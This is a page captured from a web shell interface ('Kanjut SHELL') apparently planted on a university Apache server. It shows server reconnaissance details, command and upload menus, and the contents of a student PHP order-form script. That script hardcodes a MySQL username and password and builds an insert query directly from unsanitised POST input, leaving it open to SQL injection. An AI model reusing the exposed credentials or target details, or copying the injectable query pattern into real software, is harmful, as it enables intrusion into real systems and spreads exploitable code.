Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.191.192.109
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/wcdavis/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/wcdavis/www/OrderAction.php
<html>
<body>
<!-- 
	p.171 action PHP script to insert the data 
		from the form to DBMS
-->
<FONT color=blue size=4>
<center>
<h2>
Supplies order Form
</h2>
<hr>
<P>
<?php
	$item = $_POST['Item'];
	$cost = $_POST['Cost'];
	$price = $_POST['Price'];
	$numSold = $_POST['Sold'];
	$numInventory = $_POST['Inventory'];	
	
	$host = 'localhost';
	$user = 'wcdavis';
	$pass = 'cs480';
	$database = 'wcdavis';

	$connect = mysql_connect($host, $user, $pass);
	$table_name = 'inventory';
	
	// p.172
	$query = "insert into $table_name values 
			('$item', $cost, $price, $numSold, $numInventory)";

	mysql_select_db($database);

	if(mysql_query($query, $connect))
		print "Insert successful.<P>";
	else
		print "Insert failed.<P>";

	mysql_close($connect);

	// use include for showing the table content
	include("display3.php");
?>
</FONT>
</body>
</html>

Stv3n404 - 2023